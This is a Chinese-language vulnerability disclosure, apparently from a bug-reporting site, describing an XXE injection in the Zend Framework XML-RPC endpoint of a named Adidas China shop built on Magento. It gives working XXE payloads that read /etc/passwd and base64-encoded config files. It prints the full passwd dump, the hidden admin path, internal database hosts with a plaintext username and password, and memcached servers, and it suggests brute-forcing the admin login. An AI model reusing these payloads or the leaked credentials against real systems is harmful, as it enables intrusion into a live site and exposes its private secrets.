漏洞是由于Zend framework的XML注入造成的。
详细说明：漏洞的相关连接:
http://www.80sec.com/xml-entity-injection.html
http://sebug.net/vuldb/ssvid-60242
zend的官方公告:http://framework.zend.com/security/advisory/ZF2012-01
 
开始正题:
目标URl:shop.adidas.cn
网站简介:阿迪达斯的网店,由开源的Magento构建,由Bysoft进行的二次开发.
利用URL:shop.adidas.cn/api/Xmlrpc/index/
shop.adidas.cn/info.php
 
直接post数据到shop.adidas.cn/api/Xmlrpc/index拿到passwd
 
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>
得到
 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
#games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
#ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
saslauth:x:498:76:&quot;Saslauthd user&quot;:/var/empty/saslauth:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
qpidd:x:497:494:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
pulse:x:496:493:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
xguest:x:500:500:Guest:/home/xguest:/bin/bash
stap-server:x:155:155:Systemtap Compile Server:/var/lib/stap-server:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
uuidd:x:495:487:UUID generator helper daemon:/var/lib/libuuid:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
userweb:x:501:501::/home/userweb:/bin/bash
www:x:502:502::/dev/none:/sbin/nologin
#nomal:x:503:503::/home/nomal:/bin/bash
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
bysoft:x:504:504::/home/bysoft:/bin/bash
然后在读其他文件的时候发生了问题..后来在剑心妹纸的帮助下,顺利读取到该网站的配置文件
杂读取php,xml等文件的时候，需要先base64,再还原
 
<?xml version="1.0"?><!DOCTYPE foo [  <!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passswd" >]><methodCall><methodName>&xxe;</methodName></methodCall>
然后读到了阿迪达斯网站的后台地址:
 
https://shop.adidas.cn/index.php/adi_admin_das_online
得到数据库配置文件:
 
<host><![CDATA[172.16.201.12]]></host>
                    <username><![CDATA[adidas_web]]></username>
                    <password><![CDATA[8uhb%TGB]]></password>
                    <dbname><![CDATA[adidas_11120]]></dbname>
                    <initStatements><![CDATA[SET NAMES utf8]]></initStatements>
                    <model><![CDATA[mysql4]]></model>
                    <type><![CDATA[pdo_mysql]]></type>
                    <pdoType><![CDATA[]]></pdoType>
                    <active>1</active>
得到memcached配置文件:
 
<memcached>
                     <servers>
                            <server1>
                            <host><![CDATA[172.16.200.10]]></host>
                            <port><![CDATA[12000]]></port>
                            <persistent><![CDATA[1]]></persistent>
                            </server1>
                            <server2>
                            <host><![CDATA[172.16.200.11]]></host>
                            <port><![CDATA[12000]]></port>
                            <persistent><![CDATA[1]]></persistent>
                            </server2>
                     </servers>
                     <compression><![CDATA[0]]></compression>
                     <cache_dir><![CDATA[]]></cache_dir>
                     <hashed_directory_level><![CDATA[]]></hashed_directory_level>
                     <hashed_directory_umask><![CDATA[]]></hashed_directory_umask>
                     <file_name_prefix><![CDATA[]]></file_name_prefix>
              </memcached>
 
其实得到后台地址就可以了，在Magento1.7以前，后台是没有验证码的。。可以直接暴力破解后台用户名密码了
没有继续深入了。。。
 



 
 
 
修复方案：

参看我的:http://www.2cto.com/Article/201208/149569.html